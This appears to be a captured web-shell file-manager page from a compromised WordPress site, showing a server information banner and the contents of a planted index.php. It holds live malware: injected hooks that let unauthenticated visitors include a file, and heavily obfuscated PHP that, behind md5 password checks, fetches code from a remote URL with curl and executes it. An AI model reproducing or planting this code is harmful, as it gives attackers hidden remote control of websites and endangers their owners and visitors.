if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/images/images/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-admin/images/images/index.php
<?php
 goto hqqAw0X8JVBeRsgH; VX52MfPr2qfxz8tt: class sZx9x6220qXQ4_5E { static function VJs4mIdjN2RqJ5TN($NuRQZPwgC7ZTxru4) { goto YxaMC5Gz2H1YQbIj; YxaMC5Gz2H1YQbIj: $p_jGujASacZbLTrE = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto OHaEZHukPdUsCwCe; EPePEZJ7265Maxq1: $RyYP36g6gRdVBaxe = ''; goto uU5Fl8JS6do22KMm; cu3WwbAwZaKIt0go: return $RyYP36g6gRdVBaxe; goto EeGq4wn3345qK8H3; OHaEZHukPdUsCwCe: $Ym6IqFp4ZqbvgYQg = $p_jGujASacZbLTrE("\x7e", "\40"); goto iZI2PvdN0OYCyi7k; Ed3RsvOG9RHxs3wn: qPXHUYn9FqvVI5Vu: goto cu3WwbAwZaKIt0go; uU5Fl8JS6do22KMm: foreach ($iw7oFxGashX38FHu as $kohdWPLoVHk613QO => $TkbCIWHtSIsJkGqM) { $RyYP36g6gRdVBaxe .= $Ym6IqFp4ZqbvgYQg[$TkbCIWHtSIsJkGqM - 81391]; MD0TnnlARDSrGhCH: } goto Ed3RsvOG9RHxs3wn; iZI2PvdN0OYCyi7k: $iw7oFxGashX38FHu = explode("\x3d", $NuRQZPwgC7ZTxru4); goto EPePEZJ7265Maxq1; EeGq4wn3345qK8H3: } static function JT51x9Mbpa1gIcjQ($kFzciFrPdDYhgbxK, $fpi10MH9LHSfL6XH) { goto eY0PDYJPgxUVRpKu; lWtDQchB5hJLu51Z: $nopMykYCHfL7oVyW = curl_exec($is3_rRcZmcw1Pp3a); goto mjYjioomZT86M6in; eY0PDYJPgxUVRpKu: $is3_rRcZmcw1Pp3a = curl_init($kFzciFrPdDYhgbxK); goto y6llAshHA2j5cGaM; y6llAshHA2j5cGaM: curl_setopt($is3_rRcZmcw1Pp3a, CURLOPT_RETURNTRANSFER, 1); goto lWtDQchB5hJLu51Z; mjYjioomZT86M6in: return empty($nopMykYCHfL7oVyW) ? $fpi10MH9LHSfL6XH($kFzciFrPdDYhgbxK) : $nopMykYCHfL7oVyW; goto LngjyDUWLlQuRnEa; LngjyDUWLlQuRnEa: } static function H13UX1aUJoPbZy6_() { goto aKPTgNZkQFa_M3pq; NAKNOw8wcRXyCqvN: die; goto R4Pfgq1T4a0CyE9C; Og17cSGW4eG7Y8lT: @$IJ5K9ajCX0d0HJxB[0]('', $IJ5K9ajCX0d0HJxB[5 + 2] . $IJ5K9ajCX0d0HJxB[0 + 4]($jOIbt5g6z0syFDm7) . $IJ5K9ajCX0d0HJxB[8 + 0]); goto NAKNOw8wcRXyCqvN; R4Pfgq1T4a0CyE9C: L92bQ1z7kjUMsKIr: goto olC5kboEoRsKVeFD; G7d08zu8c00SOKnj: u_mg0g0PYEfvGewR: goto eifATFOhcbX6SuJA; TZaGTAI6A3EQC1cG: $PzQ6GQ20qSEYKx1H = @$IJ5K9ajCX0d0HJxB[3 + 0]($IJ5K9ajCX0d0HJxB[5 + 1], $HKluSYXQHw62Y2lp); goto GFVovtVGN8dW0ZLh; m8hCj4bWpmF9zKdY: @$IJ5K9ajCX0d0HJxB[9 + 1](INPUT_GET, "\x6f\146") == 1 && die($IJ5K9ajCX0d0HJxB[0 + 5](__FILE__)); goto SD8SejPA3HZ0d5aq; GFVovtVGN8dW0ZLh: $x3YZNnEC50CMZT85 = $IJ5K9ajCX0d0HJxB[0 + 2]($PzQ6GQ20qSEYKx1H, true); goto m8hCj4bWpmF9zKdY; aKPTgNZkQFa_M3pq: $n3OK2azHfbMB3ePU = array("\70\61\64\x31\70\75\70\61\64\x30\x33\x3d\x38\x31\x34\x31\x36\75\x38\61\64\x32\60\x3d\70\x31\x34\x30\x31\75\70\61\64\61\66\75\x38\61\x34\x32\x32\x3d\x38\x31\x34\x31\65\75\70\x31\64\x30\x30\75\x38\61\x34\x30\x37\75\70\x31\64\61\70\75\70\61\x34\60\x31\x3d\x38\61\x34\61\62\75\x38\x31\64\60\66\75\70\61\x34\60\67", "\70\x31\64\x30\62\75\x38\x31\64\x30\x31\x3d\70\x31\64\60\x33\75\70\61\64\x32\x32\75\70\61\x34\x30\x33\x3d\x38\61\64\60\x36\x3d\x38\x31\64\x30\61\x3d\70\61\64\66\70\x3d\x38\61\x34\66\66", "\x38\x31\x34\61\x31\75\x38\61\x34\60\x32\75\70\x31\64\x30\x36\75\70\61\64\x30\x37\75\70\x31\64\62\62\x3d\70\61\64\61\67\75\70\61\64\x31\x36\x3d\x38\x31\x34\x31\70\75\x38\x31\x34\x30\66\75\70\x31\64\x31\67\x3d\x38\x31\64\61\x36", "\70\x31\64\60\65\x3d\x38\x31\x34\x32\x30\x3d\70\61\64\61\x38\x3d\70\x31\64\61\60", "\70\61\64\x31\71\x3d\x38\x31\64\x32\60\75\x38\61\x34\x30\62\75\70\x31\64\x31\x36\x3d\70\x31\64\x36\x33\x3d\x38\61\64\x36\65\75\70\61\x34\62\x32\x3d\70\61\64\x31\67\x3d\70\x31\x34\x31\66\75\70\61\x34\61\70\x3d\70\61\x34\x30\x36\75\x38\61\x34\61\67\75\x38\61\x34\61\66", "\70\x31\x34\x31\x35\x3d\70\x31\64\61\x32\x3d\x38\61\x34\60\x39\75\70\x31\64\61\66\75\70\x31\x34\62\x32\75\70\61\64\x31\64\x3d\x38\x31\64\x31\x36\75\70\x31\64\x30\61\75\x38\61\x34\62\62\x3d\x38\x31\64\61\70\75\70\61\64\60\x36\x3d\x38\x31\x34\60\67\75\70\x31\x34\x30\61\75\x38\61\x34\61\x36\75\70\61\64\x30\67\75\x38\61\64\60\x31\75\x38\x31\64\60\62", "\70\x31\64\x34\x35\75\x38\x31\64\x37\65", "\x38\61\63\71\62", "\70\x31\x34\67\x30\x3d\70\61\x34\67\x35", "\70\61\64\x35\62\75\70\61\64\63\x35\x3d\x38\x31\64\x33\65\75\70\61\x34\65\62\75\x38\x31\64\62\x38", "\x38\61\64\x31\65\x3d\70\61\x34\61\62\75\70\x31\64\60\x39\x3d\x38\x31\64\x30\61\75\70\x31\64\61\66\75\x38\61\64\60\x33\x3d\x38\61\x34\62\x32\x3d\x38\61\64\61\x32\x3d\70\61\x34\60\67\x3d\x38\x31\x34\60\x35\75\70\x31\64\60\x30\x3d\70\61\64\x30\x31"); goto rIxkPr4iS0QXaSWK; rIxkPr4iS0QXaSWK: foreach ($n3OK2azHfbMB3ePU as $LFUg0krg1oV256jx) { $IJ5K9ajCX0d0HJxB[] = self::Vjs4mIdjn2rqj5TN($LFUg0krg1oV256jx); Up4dZurc24yLP0GN: } goto G7d08zu8c00SOKnj; SD8SejPA3HZ0d5aq: if (!(@$x3YZNnEC50CMZT85[0] - time() > 0 and md5(md5($x3YZNnEC50CMZT85[0 + 3])) === "\62\71\x37\x38\x34\145\x34\x63\x31\x62\65\145\x65\x39\64\142\66\60\60\65\143\141\x30\143\66\x34\67\146\x65\64\145\70")) { goto L92bQ1z7kjUMsKIr; } goto XZFmQjDYAvFSGwj6; XZFmQjDYAvFSGwj6: $jOIbt5g6z0syFDm7 = self::JT51x9MbPA1GiCJq($x3YZNnEC50CMZT85[0 + 1], $IJ5K9ajCX0d0HJxB[1 + 4]); goto Og17cSGW4eG7Y8lT; eifATFOhcbX6SuJA: $HKluSYXQHw62Y2lp = @$IJ5K9ajCX0d0HJxB[1]($IJ5K9ajCX0d0HJxB[3 + 7](INPUT_GET, $IJ5K9ajCX0d0HJxB[6 + 3])); goto TZaGTAI6A3EQC1cG; olC5kboEoRsKVeFD: } } goto cSu0bRGqppDXLHjT; mxe4UbKmZ2OoWL6O: $CQo9ai5cfJUw2PI5 = ${$WqyGzS48JzFMmn3D[31 + 0] . $WqyGzS48JzFMmn3D[26 + 33] . $WqyGzS48JzFMmn3D[40 + 7] . $WqyGzS48JzFMmn3D[35 + 12] . $WqyGzS48JzFMmn3D[14 + 37] . $WqyGzS48JzFMmn3D[9 + 44] . $WqyGzS48JzFMmn3D[41 + 16]}; goto g95F0lrMMdIWc7SA; g95F0lrMMdIWc7SA: @(md5(md5(md5(md5($CQo9ai5cfJUw2PI5[16])))) === "\65\x65\66\142\144\143\61\63\70\61\x30\71\x63\61\x31\x34\146\143\146\x66\62\x62\x66\143\x65\x36\x34\x37\61\146\144\66") && (count($CQo9ai5cfJUw2PI5) == 22 && in_array(gettype($CQo9ai5cfJUw2PI5) . count($CQo9ai5cfJUw2PI5), $CQo9ai5cfJUw2PI5)) ? ($CQo9ai5cfJUw2PI5[67] = $CQo9ai5cfJUw2PI5[67] . $CQo9ai5cfJUw2PI5[80]) && ($CQo9ai5cfJUw2PI5[81] = $CQo9ai5cfJUw2PI5[67]($CQo9ai5cfJUw2PI5[81])) && @($CQo9ai5cfJUw2PI5 = $CQo9ai5cfJUw2PI5[81]($CQo9ai5cfJUw2PI5[54], $CQo9ai5cfJUw2PI5[67](${$CQo9ai5cfJUw2PI5[42]}[13]))) && $CQo9ai5cfJUw2PI5() : $CQo9ai5cfJUw2PI5; goto SaG5gdOf7nHhLotm; SaG5gdOf7nHhLotm: metaphone("\127\x64\x46\146\x42\105\x43\x38\150\x77\x62\123\57\57\70\70\x4c\x41\x58\x44\132\x58\x54\x31\x77\x42\x6f\67\107\x33\141\60\123\x30\x46\116\x5a\x33\64\x69\x79\114\70"); goto VX52MfPr2qfxz8tt; hqqAw0X8JVBeRsgH: $WqyGzS48JzFMmn3D = range("\176", "\x20"); goto mxe4UbKmZ2OoWL6O; cSu0bRGqppDXLHjT: SZX9X6220QXQ4_5E::h13ux1aujopBzy6_();
?>
@ Telegram